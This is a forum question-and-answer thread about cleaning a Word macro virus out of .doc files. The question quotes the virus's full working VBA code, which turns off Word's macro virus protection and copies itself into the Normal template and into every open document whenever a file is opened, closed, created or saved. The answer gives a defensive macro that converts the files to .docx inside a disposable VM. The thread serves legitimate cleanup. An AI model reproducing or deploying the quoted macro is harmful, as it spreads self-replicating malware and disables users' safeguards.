Word Macro virus - vba

Question

I'm trying to help a friend who has a word macro virus.
Almost everyone of his.doc files are infected, I'd like to delete the malicious macros without deleting the word files.
Since my friend never uses macros I can actually delete all macros on his system.
How would I go about automating this task?
One of the problems I'm facing is that I dont have permissions to delete the maliscious macros when opening the infected doc files here is the Macro virus's code :
Private Sub Document_Open()
'Thus_001'
On Error Resume Next
Application.Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
.CodeModule.CountOfLines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
.Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.DeleteLines 1, Application.Documents.Item(k) _
.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
.VBComponents.Item(1).CodeModule.CountOfLines)
End If
Next k
frm_Msg.Show
End Sub
Private Sub Document_Close()
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Save()
Document_Open
End Sub
This is on mac running 10.6.8 with word 2004
Thanks
Alex

Answer 1

The quickest way to do this is going to be using a more modern version of Word. I'd do the following. Either create a VM or take a snapshot of an existing VM that you can roll back to. Put all of the infected Word files into a directory, and then run this macro from a Word document:
'Add a reference to Microsoft Scripting Runtime.
Public Sub ScrubMacros()
Application.DisplayAlerts = wdAlertsNone
With New Scripting.FileSystemObject
Dim targets As New Collection
Dim current As File
For Each current In .GetFolder("C:\Test").Files
If .GetExtensionName(current.Path) = "doc" Then
targets.Add current
End If
Next
Dim infected As Variant
For Each infected In targets
Dim doc As Document
Set doc = Documents.Open(infected.Path)
doc.SaveAs2 doc.FullName & "x", wdFormatXMLDocument
doc.Close wdDoNotSaveChanges
Next
End With
Application.DisplayAlerts = wdAlertsAll
End Sub
Collect all of the resulting .docx files and move them off the VM, then roll it back to your snapshot or delete it. If you need to maintain compatibility with Word 2004, you can do pretty much the same thing to convert them back to that file format - just adjust the file extensions and save as format.